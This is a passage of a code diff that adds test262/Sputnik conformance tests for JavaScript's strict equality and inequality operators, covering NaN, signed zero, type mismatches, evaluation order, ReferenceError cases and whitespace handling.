+try {
+ 1 === y;
+ $ERROR('#1.1: 1 === y throw ReferenceError. Actual: ' + (1 === y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 === y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.4_T1.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.4_T1.js
new file mode 100644
index 000000000..f24d933b0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 0;
+if (!((x = 1) === x)) {
+ $ERROR('#1: var x = 0; (x = 1) === x');
+}
+
+//CHECK#2
+var x = 0;
+if (x === (x = 1)) {
+ $ERROR('#2: var x = 0; x !== (x = 1)');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.4_T2.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.4_T2.js
new file mode 100644
index 000000000..02fe1ba7c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() === y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() === y() throw "x". Actual: ' + (x() === y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (!(e === "x")) {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() === y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.4_T3.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.4_T3.js
new file mode 100644
index 000000000..5b9fa7a03
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ */
+
+//CHECK#1
+try {
+ x === (x = 1);
+ $ERROR('#1.1: x === (x = 1) throw ReferenceError. Actual: ' + (x === (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x === (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if (!((y = 1) === y)) {
+ $ERROR('#2: (y = 1) === y');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A3.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A3.js
new file mode 100644
index 000000000..5fc2545d4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A3.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Type(x) and Type(y) are Boolean-s.
+ * Return true, if x and y are both true and both false; otherwise, return false
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A3.js
+ * @description x and y are primitive booleans
+ */
+
+//CHECK#1
+if (!(true === true)) {
+ $ERROR('#1: true === true');
+}
+
+//CHECK#2
+if (!(false === false)) {
+ $ERROR('#2: false === false');
+}
+
+//CHECK#3
+if (true === false) {
+ $ERROR('#3: true !== false');
+}
+
+//CHECK#4
+if (false === true) {
+ $ERROR('#4: false !== true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A4.1_T1.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A4.1_T1.js
new file mode 100644
index 000000000..b742929df
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A4.1_T1.js
@@ -0,0 +1,56 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x or y is NaN, return false
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A4.1_T1.js
+ * @description x is NaN
+ */
+
+//CHECK#1
+if (Number.NaN === true) {
+ $ERROR('#1: NaN !== true');
+}
+
+//CHECK#2
+if (Number.NaN === 1) {
+ $ERROR('#2: NaN !== 1');
+}
+
+//CHECK#3
+if (Number.NaN === Number.NaN) {
+ $ERROR('#3: NaN !== NaN');
+}
+
+//CHECK#4
+if (Number.NaN === Number.POSITIVE_INFINITY) {
+ $ERROR('#4: NaN !== +Infinity');
+}
+
+//CHECK#5
+if (Number.NaN === Number.NEGATIVE_INFINITY) {
+ $ERROR('#5: NaN !== -Infinity');
+}
+
+//CHECK#6
+if (Number.NaN === Number.MAX_VALUE) {
+ $ERROR('#6: NaN !== Number.MAX_VALUE');
+}
+
+//CHECK#7
+if (Number.NaN === Number.MIN_VALUE) {
+ $ERROR('#7: NaN !== Number.MIN_VALUE');
+}
+
+//CHECK#8
+if (Number.NaN === "string") {
+ $ERROR('#8: NaN !== "string"');
+}
+
+//CHECK#9
+if (Number.NaN === new Object()) {
+ $ERROR('#9: NaN !== new Object()');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A4.1_T2.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A4.1_T2.js
new file mode 100644
index 000000000..3cd02a9fd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A4.1_T2.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x or y is NaN, return false
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A4.1_T2.js
+ * @description y is NaN
+ */
+
+//CHECK#1
+if (true === Number.NaN) {
+ $ERROR('#1: true !== NaN');
+}
+
+//CHECK#2
+if (-1 === Number.NaN) {
+ $ERROR('#2: -1 !== NaN');
+}
+
+//CHECK#3
+if (Number.NaN === Number.NaN) {
+ $ERROR('#3: NaN !== NaN');
+}
+
+//CHECK#4
+if (Number.POSITIVE_INFINITY === Number.NaN) {
+ $ERROR('#4: +Infinity !== NaN');
+}
+
+//CHECK#5
+if (Number.NEGATIVE_INFINITY === Number.NaN) {
+ $ERROR('#5: -Infinity !== NaN');
+}
+
+//CHECK#6
+if (Number.MAX_VALUE === Number.NaN) {
+ $ERROR('#6: Number.MAX_VALUE !== NaN');
+}
+
+//CHECK#7
+if (Number.MIN_VALUE === Number.NaN) {
+ $ERROR('#7: Number.MIN_VALUE !== NaN');
+}
+
+//CHECK#8
+if ("string" === Number.NaN) {
+ $ERROR('#8: "string" !== NaN');
+}
+
+//CHECK#9
+if (new Object() === Number.NaN) {
+ $ERROR('#9: new Object() !== NaN');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A4.2.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A4.2.js
new file mode 100644
index 000000000..7de56ed7d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A4.2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is +0(-0) and y is -0(+0), return true
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A4.2.js
+ * @description Checking all combinations
+ */
+
+//CHECK#1
+if (!(+0 === -0)) {
+ $ERROR('#1: +0 === -0');
+}
+
+//CHECK#2
+if (!(-0 === +0)) {
+ $ERROR('#2: -0 === +0');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A4.3.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A4.3.js
new file mode 100644
index 000000000..e13bea441
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A4.3.js
@@ -0,0 +1,56 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Type(x) and Type(y) are Number-s minus NaN, +0, -0.
+ * Return true, if x is the same number value as y; otherwise, return false
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A4.3.js
+ * @description x and y are primitive numbers
+ */
+
+//CHECK#1
+if (!(Number.POSITIVE_INFINITY === Number.POSITIVE_INFINITY)) {
+ $ERROR('#1: +Infinity === +Infinity');
+}
+
+//CHECK#2
+if (!(Number.NEGATIVE_INFINITY === Number.NEGATIVE_INFINITY)) {
+ $ERROR('#2: -Infinity === -Infinity');
+}
+
+//CHECK#3
+if (!(13 === 13)) {
+ $ERROR('#3: 13 === 13');
+}
+
+//CHECK#4
+if (!(-13 === -13)) {
+ $ERROR('#4: -13 === -13');
+}
+
+//CHECK#5
+if (!(1.3 === 1.3)) {
+ $ERROR('#5: 1.3 === 1.3');
+}
+
+//CHECK#6
+if (!(-1.3 === -1.3)) {
+ $ERROR('#6: -1.3 === -1.3');
+}
+
+//CHECK#7
+if (!(Number.POSITIVE_INFINITY === -Number.NEGATIVE_INFINITY)) {
+ $ERROR('#7: +Infinity === -(-Infinity)');
+}
+
+//CHECK#8
+if (1 === 0.999999999999) {
+ $ERROR('#8: 1 !== 0.999999999999');
+}
+
+//CHECK#9
+if (!(1.0 === 1)) {
+ $ERROR('#9: 1.0 === 1');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A5.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A5.js
new file mode 100644
index 000000000..f32d7c5ae
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A5.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Type(x) and Type(y) are String-s.
+ * Return true, if x and y are exactly the same sequence of characters; otherwise, return false
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A5.js
+ * @description x and y are primitive strings
+ */
+
+//CHECK#1
+if (!("" === "")) {
+ $ERROR('#1: "" === ""');
+}
+
+//CHECK#2
+if (!(" " === " ")) {
+ $ERROR('#2: " " === " "');
+}
+
+//CHECK#3
+if (!("string" === "string")) {
+ $ERROR('#3: "string" === "string"');
+}
+
+//CHECK#4
+if (" string" === "string ") {
+ $ERROR('#4: " string" !== "string "');
+}
+
+//CHECK#5
+if ("1.0" === "1") {
+ $ERROR('#5: "1.0" !== "1"');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A6.1.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A6.1.js
new file mode 100644
index 000000000..b392d432a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A6.1.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) and Type(y) are Undefined-s, return true
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A6.1.js
+ * @description void 0, eval("var x") is undefined
+ */
+
+//CHECK#1
+if (!(undefined === undefined)) {
+ $ERROR('#1: undefined === undefined');
+}
+
+//CHECK#2
+if (!(void 0 === undefined)) {
+ $ERROR('#2: void 0 === undefined');
+}
+
+//CHECK#3
+if (!(undefined === eval("var x"))) {
+ $ERROR('#3: undefined === eval("var x")');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A6.2.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A6.2.js
new file mode 100644
index 000000000..82bdbea6f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A6.2.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) and Type(y) are Null-s, return true
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A6.2.js
+ * @description null === null
+ */
+
+//CHECK#1
+if (!(null === null)) {
+ $ERROR('#1: null === null');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A7.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A7.js
new file mode 100644
index 000000000..0c27f3df5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A7.js
@@ -0,0 +1,53 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Type(x) and Type(y) are Object-s.
+ * Return true, if x and y are references to the same Object; otherwise, return false
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A7.js
+ * @description Checking Boolean object, Number object, String object, Object object
+ */
+
+//CHECK#1
+if (new Object() === new Object()) {
+ $ERROR('#1: new Object() !== new Object()');
+}
+
+//CHECK#2
+if (new Object(true) === new Object(true)) {
+ $ERROR('#2: new Object() !== new Object()');
+}
+
+//CHECK#3
+if (new Object(false) === new Object(false)) {
+ $ERROR('#3: new Object() !== new Object()');
+}
+
+//CHECK#4
+if (new Object(+0) === new Object(-0)) {
+ $ERROR('#4: new Object(+0) !== new Object(-0)');
+}
+
+//CHECK#5
+x = {};
+y = x;
+if (!(x === y)) {
+ $ERROR('#5: x = {}; y = x; x === y');
+}
+
+//CHECK#6
+if (new Boolean(true) === new Number(1)) {
+ $ERROR('#6 new Boolean(true) === new Number(1)');
+}
+
+//CHECK#7
+if (new Number(1) === new String("1")) {
+ $ERROR('#7: new Number(1) === new String("1")');
+}
+
+//CHECK#8
+if (new String("1") === new Boolean(true)) {
+ $ERROR('#8: new String("x") === new Boolean(true)');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A8_T1.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A8_T1.js
new file mode 100644
index 000000000..ce51dddef
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A8_T1.js
@@ -0,0 +1,65 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is different from Type(y), return false
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A8_T1.js
+ * @description x or y is primitive boolean
+ */
+
+//CHECK#1
+if (true === new Boolean(true)) {
+ $ERROR('#1: true !== new Number(true)');
+}
+
+//CHECK#2
+if (true === 1) {
+ $ERROR('#2: true !== 1');
+}
+
+//CHECK#3
+if (true === new Number(true)) {
+ $ERROR('#3: true !== new Number(true)');
+}
+
+//CHECK#4
+if (true === "1") {
+ $ERROR('#4: true !== "1"');
+}
+
+//CHECK#5
+if (true === new String(true)) {
+ $ERROR('#5: true !== new String(true)');
+}
+
+//CHECK#6
+if (new Boolean(false) === false) {
+ $ERROR('#6: new Number(false) !== false');
+}
+
+//CHECK#7
+if (0 === false) {
+ $ERROR('#7: 0 !== false');
+}
+
+//CHECK#8
+if (new Number(false) === false) {
+ $ERROR('#8: new Number(false) !== false');
+}
+
+//CHECK#9
+if ("0" === false) {
+ $ERROR('#9: "0" !== false');
+}
+
+//CHECK#10
+if (false === new String(false)) {
+ $ERROR('#10: false !== new String(false)');
+}
+
+//CHECK#11
+if (true === {valueOf: function () {return true}}) {
+ $ERROR('#11: true === {valueOf: function () {return true}}');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A8_T2.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A8_T2.js
new file mode 100644
index 000000000..c7bfa4d5b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A8_T2.js
@@ -0,0 +1,65 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is different from Type(y), return false
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A8_T2.js
+ * @description x or y is primitive number
+ */
+
+//CHECK#1
+if (1 === new Number(1)) {
+ $ERROR('#1: 1 !== new Number(1)');
+}
+
+//CHECK#2
+if (1 === true) {
+ $ERROR('#2: 1 !== true');
+}
+
+//CHECK#3
+if (1 === new Boolean(1)) {
+ $ERROR('#3: 1 !== new Boolean(1)');
+}
+
+//CHECK#4
+if (1 === "1") {
+ $ERROR('#4: 1 !== "1"');
+}
+
+//CHECK#5
+if (1 === new String(1)) {
+ $ERROR('#5: 1 !== new String(1)');
+}
+
+//CHECK#6
+if (new Number(0) === 0) {
+ $ERROR('#6: new Number(0) !== 0');
+}
+
+//CHECK#7
+if (false === 0) {
+ $ERROR('#7: false !== 0');
+}
+
+//CHECK#8
+if (new Boolean(0) === 0) {
+ $ERROR('#8: new Boolean(0) !== 0');
+}
+
+//CHECK#9
+if ("0" === 0) {
+ $ERROR('#9: "0" !== 0');
+}
+
+//CHECK#10
+if (new String(0) === 0) {
+ $ERROR('#10: new String(0) !== 0');
+}
+
+//CHECK#11
+if (1 === {valueOf: function () {return 1}}) {
+ $ERROR('#11: 1 === {valueOf: function () {return 1}}');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A8_T3.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A8_T3.js
new file mode 100644
index 000000000..a448bbd70
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A8_T3.js
@@ -0,0 +1,65 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is different from Type(y), return false
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A8_T3.js
+ * @description x or y is primitive string
+ */
+
+//CHECK#1
+if ("1" === new String("1")) {
+ $ERROR('#1: "1" !== new String("1")');
+}
+
+//CHECK#2
+if ("1" === true) {
+ $ERROR('#2: "1" !== true');
+}
+
+//CHECK#3
+if ("1" === new Boolean("1")) {
+ $ERROR('#3: "1" !== new Boolean("1")');
+}
+
+//CHECK#4
+if ("1" === 1) {
+ $ERROR('#4: "1" === 1');
+}
+
+//CHECK#5
+if ("1" === new Number("1")) {
+ $ERROR('#5: "1" === new Number("1")');
+}
+
+//CHECK#6
+if (new String(false) === false) {
+ $ERROR('#6: new Number(false) !== false');
+}
+
+//CHECK#7
+if (false === "0") {
+ $ERROR('#7: false !== "0"');
+}
+
+//CHECK#8
+if ("0" === new Boolean("0")) {
+ $ERROR('#8: "0" !== new Boolean("0")');
+}
+
+//CHECK#9
+if (false === 0) {
+ $ERROR('#9: false !== 0');
+}
+
+//CHECK#10
+if (false === new Number(false)) {
+ $ERROR('#10: false !== new Number(false)');
+}
+
+//CHECK#11
+if ("1" === {valueOf: function () {return "1"}}) {
+ $ERROR('#11: "1" === {valueOf: function () {return "1"}}');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A8_T4.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A8_T4.js
new file mode 100644
index 000000000..92aa846ca
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A8_T4.js
@@ -0,0 +1,80 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is different from Type(y), return false
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A8_T4.js
+ * @description x or y is null or undefined
+ */
+
+//CHECK#1
+if (undefined === null) {
+ $ERROR('#1: undefined !== null');
+}
+
+//CHECK#2
+if (null === undefined) {
+ $ERROR('#2: null !== undefined');
+}
+
+//CHECK#3
+if (null === 0) {
+ $ERROR('#3: null !== 0');
+}
+
+//CHECK#4
+if (0 === null) {
+ $ERROR('#4: 0 !== null');
+}
+
+//CHECK#5
+if (null === false) {
+ $ERROR('#5: null !== false');
+}
+
+//CHECK#6
+if (false === null) {
+ $ERROR('#6: false !== null');
+}
+
+//CHECK#7
+if (undefined === false) {
+ $ERROR('#7: undefined !== false');
+}
+
+//CHECK#8
+if (false === undefined) {
+ $ERROR('#8: false !== undefined');
+}
+
+//CHECK#9
+if (null === new Object()) {
+ $ERROR('#9: null !== new Object()');
+}
+
+//CHECK#10
+if (new Object() === null) {
+ $ERROR('#10: new Object() !== null');
+}
+
+//CHECK#11
+if (null === "null") {
+ $ERROR('#11: null !== "null"');
+}
+
+//CHECK#12
+if ("null" === null) {
+ $ERROR('#12: "null" !== null');
+}
+
+//CHECK#13
+if (undefined === "undefined") {
+ $ERROR('#13: undefined !== "undefined"');
+}
+
+//CHECK#14
+if ("undefined" === undefined) {
+ $ERROR('#14: "undefined" !== undefined');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A8_T5.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A8_T5.js
new file mode 100644
index 000000000..5e6bdb2fd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A8_T5.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is different from Type(y), return false
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A8_T5.js
+ * @description Checking with such x and y that either x or y is primitive string and the other is primitive number
+ */
+
+//CHECK#1
+try {
+ throw 1;
+} catch(e) {
+ if (e === "1") {
+ $ERROR('#1: throw 1 !== "1"');
+ }
+}
+
+//CHECK#2
+try {
+ throw "1";
+} catch(e) {
+ if (1 === e) {
+ $ERROR('#2: 1 !== throw "1"');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/browser.js b/js/src/tests/test262/ch11/11.9/11.9.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/browser.js
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/shell.js b/js/src/tests/test262/ch11/11.9/11.9.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/shell.js
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A1.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A1.js
new file mode 100644
index 000000000..c9e88dc0c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between EqualityExpression and "!==" or between "!==" and RelationalExpression are allowed
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("1\u0009!==\u00091")) {
+ $ERROR('#1: 1\\u0009!==\\u00091');
+}
+
+//CHECK#2
+if (eval("1\u000B!==\u000B1")) {
+ $ERROR('#2: 1\\u000B!==\\u000B1');
+}
+
+//CHECK#3
+if (eval("1\u000C!==\u000C1")) {
+ $ERROR('#3: 1\\u000C!==\\u000C1');
+}
+
+//CHECK#4
+if (eval("1\u0020!==\u00201")) {
+ $ERROR('#4: 1\\u0020!==\\u00201');
+}
+
+//CHECK#5
+if (eval("1\u00A0!==\u00A01")) {
+ $ERROR('#5: 1\\u00A0!==\\u00A01');
+}
+
+//CHECK#6
+if (eval("1\u000A!==\u000A1")) {
+ $ERROR('#6: 1\\u000A!==\\u000A1');
+}
+
+//CHECK#7
+if (eval("1\u000D!==\u000D1")) {
+ $ERROR('#7: 1\\u000D!==\\u000D1');
+}
+
+//CHECK#8
+if (eval("1\u2028!==\u20281")) {
+ $ERROR('#8: 1\\u2028!==\\u20281');
+}
+
+//CHECK#9
+if (eval("1\u2029!==\u20291")) {
+ $ERROR('#9: 1\\u2029!==\\u20291');
+}
+
+//CHECK#10
+if (eval("1\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029!==\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291")) {
+ $ERROR('#10: 1\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029!==\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.1_T1.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.1_T1.js
new file mode 100644
index 000000000..4e9c43c3b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.1_T1.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x !== y uses GetValue
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if (1 !== 1) {
+ $ERROR('#1: 1 === 1');
+}
+
+//CHECK#2
+var x = 1;
+if (x !== 1) {
+ $ERROR('#2: var x = 1; x === 1');
+}
+
+//CHECK#3
+var y = 1;
+if (1 !== y) {
+ $ERROR('#3: var y = 1; 1 === y');
+}
+
+//CHECK#4
+var x = 1;
+var y = 1;
+if (x !== y) {
+ $ERROR('#4: var x = 1; var y = 1; x === y');
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 1;
+objecty.prop = 1;
+if (objectx.prop !== objecty.prop) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = 1; objecty.prop = 1; objectx.prop === objecty.prop');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.1_T2.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.1_T2.js
new file mode 100644
index 000000000..52637ce50
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x !== y uses GetValue
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x !== 1;
+ $ERROR('#1.1: x !== 1 throw ReferenceError. Actual: ' + (x !== 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x !== 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.1_T3.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.1_T3.js
new file mode 100644
index 000000000..e568cbe31
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.1_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x !== y uses GetValue
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 !== y;
+ $ERROR('#1.1: 1 !== y throw ReferenceError. Actual: ' + (1 !== y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 !== y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.4_T1.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.4_T1.js
new file mode 100644
index 000000000..7ed77b440
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 0;
+if ((x = 1) !== x) {
+ $ERROR('#1: var x = 0; (x = 1) === x');
+}
+
+//CHECK#2
+var x = 0;
+if (!(x !== (x = 1))) {
+ $ERROR('#2: var x = 0; x !== (x = 1)');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.4_T2.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.4_T2.js
new file mode 100644
index 000000000..b2872fcde
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.4_T2.js
@@ -0,0 +1,26 @@
